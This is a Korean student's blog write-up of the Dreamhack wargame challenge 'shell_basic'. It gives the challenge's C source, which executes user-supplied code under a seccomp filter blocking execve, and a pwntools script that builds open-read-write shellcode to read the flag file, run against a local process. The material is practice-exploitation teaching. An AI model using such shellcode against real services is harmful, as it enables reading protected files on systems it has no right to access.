[Dreamhack] Shellcode: shell_basic

securitykss·2022년 10월 25일
0
post-thumbnail

1. Description

2. Check

2.1 C code

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

code description

init(): stdin, stout을 초기화 시켜주고, alarm은 10으로 설정해준다.

banned_execve(): 문제 설명에서 이미 execve와 execveat syscall을 하지 못하게 막아 놓았다.

main():

                printf("shellcode: "); -> "shellcode: "를 출력하고

                read(0, shellcode, 0x1000); -> shellcode에 0x1000만큼 입력받은 후

                sc = (void *)shellcode; -> sc에 shellcode를 넣고

                sc(); -> shellcode를 실행시킨다.

3. Design

문제에서 flag의 위치가 /home/shell_basic/flag_name_is_loooooong 이라고 언급했다.

그렇다면 orw 코드로 flag를 읽어낼 수 있다.

4. Exploit

이전 [Dreamhack] 2. pwngdb & pwntools (https://velog.io/@securitykss/Dreamhack-2.-pwngdb-pwntools)에서 언급했던 shellcraft를 활용해서 exploit을 해보자.

shellcraft를 통해서 open,read,write의 syscall을 불러내서 실행시킬 수 있다.

from pwn import *

#p = remote('서버', 포트)
p = process("./shell_basic")

context.arch = "amd64"  									# arch를 amd64로 설정

flag = "/home/shell_basic/flag_name_is_loooooong"			# flag 위치

payload = b''
payload += asm(shellcraft.open(flag))						# flag를 열고
payload += asm(shellcraft.read('rax', 'rsp', 0x100))		# rax에는 flag_name_is_loooooong 파일이 저장되어 있음, rsp에 0x100만큼 읽어들임	
payload += asm(shellcraft.write(1, 'rsp', 0x100))			# write는 syscall 번호가 1이므로, 첫번째 인자값을 1로 설정, rsp엔 읽어낸 값이 저장, 0x100만큼 출력 

p.sendline(payload)											# payload를 보낸다(위의 c코드에 'shellcode: ' 다음에)
print(p.recv())												# 출력해낸 flag값을  recv로 받고, print로 출력

flag에는 abcdefg 값이 들어 있다. (이 flag는 예제를 위해 만든 임시 파일이다)

exploit 결과를 볼 수 있다.

0x100만큼의 사이즈를 요청 했으므로 abcdefg 뒤에 오는 값들은 flag_name_is_loooooong의 garbage값이다.

마치며

이전 시간에 orw shellcode를 asm로 구현을 했었다.

이번엔 shellcraft로 정말 편하게 open,read,write를 할 수 있음을 확인해 보았다.

다음 시간에는 Stack Buffer Overflow에 대해 알아보자.

Reference

https://dreamhack.io/wargame/challenges/410/?writeup_id=6435 (문제 출처)

profile
보안 공부를 하는 학생입니다.

0개의 댓글